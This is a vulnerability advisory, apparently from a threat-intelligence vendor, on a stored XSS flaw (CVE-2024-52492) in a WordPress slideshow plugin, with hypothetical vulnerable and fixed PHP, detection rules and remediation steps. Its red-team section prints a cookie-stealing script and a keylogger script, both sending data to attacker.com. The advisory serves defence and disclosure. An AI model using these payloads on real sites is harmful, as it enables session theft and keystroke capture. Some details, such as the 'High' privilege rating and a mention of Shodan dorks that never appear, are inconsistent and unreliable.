CVE-2024-52492
Executive Summary
CVE-2024-52492 is a Stored Cross-Site Scripting (XSS) vulnerability found in the WordPress plugin "Image horizontal reel scroll slideshow" by Gopiplus, affecting versions up to and including 13.4. This vulnerability allows an authenticated attacker with at least contributor-level privileges to inject arbitrary JavaScript into the plugin's settings or slideshow content, which is then stored and executed in the browsers of any user viewing the affected page. The CVSS score is 5.9 (Medium), but the risk is elevated due to the lack of a patch and the potential for privilege escalation or site defacement. As a WordPress plugin vulnerability, it is critical to assess the security posture of the entire WordPress ecosystem, not just the web server (Apache/Nginx).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is significant because:
- No patch is available from the vendor (Gopiplus), leaving all installations vulnerable.
- The plugin may be bundled in themes or used as a dependency in other plugins, expanding the attack surface.
- Administrators must manually remove or replace the plugin to mitigate the risk.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): High (H) – Requires contributor-level access or higher.
- User Interaction (UI): Required (R) – The victim must visit the compromised page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium (5.9). However, due to the lack of a patch and the potential for chaining with other vulnerabilities, the real-world risk is higher.
Deep Dive & Mechanics
The vulnerability stems from improper neutralization of user-supplied input in the plugin's admin interface or shortcode handling. When an authenticated user (e.g., contributor) adds or edits a slideshow, the plugin fails to sanitize or escape the input before storing it in the database. This stored input is later rendered on the front-end without proper encoding, allowing arbitrary HTML and JavaScript to execute.
Attack Flow:
- An attacker with contributor-level access logs into the WordPress admin panel.
- The attacker navigates to the "Image horizontal reel scroll slideshow" settings or creates a new slideshow.
- The attacker injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into a text field (e.g., image caption, title, or custom CSS). - The payload is stored in the WordPress database.
- When any user (including administrators) visits a page displaying the slideshow, the payload executes in their browser.
- The attacker can then steal cookies, perform actions on behalf of the victim, or deface the site.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code remains in all versions <= 13.4. The following is a hypothetical example of the vulnerable code and a secure version.
Vulnerable Code (PHP):
// In the plugin's admin save function
$caption = $_POST['caption'];
update_post_meta($post_id, 'slideshow_caption', $caption);
Patched Code (PHP):
// Secure version using WordPress escaping functions
$caption = sanitize_text_field($_POST['caption']);
update_post_meta($post_id, 'slideshow_caption', $caption);
Front-end Rendering (Vulnerable):
echo get_post_meta($post_id, 'slideshow_caption', true);
Front-end Rendering (Patched):
echo esc_html(get_post_meta($post_id, 'slideshow_caption', true));
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with the vulnerable plugin installed (version <= 13.4).
- An account with contributor-level privileges or higher.
Steps:
- Log in to the WordPress admin panel as a contributor.
- Navigate to the plugin's settings page (e.g.,
/wp-admin/admin.php?page=image-horizontal-reel-scroll-slideshow). - In any text input field (e.g., "Caption"), inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the slideshow.
- Visit the front-end page where the slideshow is displayed. The script will execute, sending the victim's cookies to the attacker's server.
Alternative Payload (Keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/keylog?key='+e.key);
});
</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual POST requests to plugin admin pages.
- Look for script tags in database fields related to the plugin.
- Use Web Application Firewall (WAF) rules to block common XSS patterns.
Hardening:
- Remove the plugin immediately if not essential.
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
- File System: Presence of the plugin directory
/wp-content/plugins/image-horizontal-reel-scroll-slideshow/. - Database: Entries in
wp_postmetaorwp_optionscontaining<script>tags or base64-encoded JavaScript. - Network: Outbound connections to unknown domains from the WordPress server.
- Logs: Unusual admin panel access patterns, especially from contributor accounts.
Detection Engineering
YARA Rule
rule CVE_2024_52492_Stored_XSS {
meta:
description = "Detects stored XSS payloads in WordPress plugin image-horizontal-reel-scroll-slideshow"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-52492"
strings:
$payload1 = /<script[^>]*>.*<\/script>/i
$payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
$payload3 = /onload\s*=\s*["']?[^"']*["']?/i
condition:
any of them
}
Sigma Rule
title: Stored XSS in Image Horizontal Reel Scroll Slideshow
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in the WordPress plugin image-horizontal-reel-scroll-slideshow
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
http.method: 'POST'
http.url: '/wp-admin/admin.php*'
http.body: '*image-horizontal-reel-scroll-slideshow*'
http.body: '*<script*'
condition: selection
falsepositives:
- Legitimate admin updates with script tags (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-52492 Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"image-horizontal-reel-scroll-slideshow"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Remove the plugin from all WordPress installations.
- Scan the database for stored XSS payloads using the YARA rule above.
- Reset all user sessions and force password changes for contributor accounts.
Long-term Mitigation:
- Replace the plugin with a maintained alternative (e.g., "MetaSlider").
- Implement a Web Application Firewall (WAF) with XSS protection.
- Enforce the principle of least privilege for WordPress user roles.
- Regularly audit plugins for vulnerabilities using tools like WPScan.
Patch Status: No official patch is available. The vendor (Gopiplus) has not responded to disclosure attempts. Users must manually remove the plugin.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.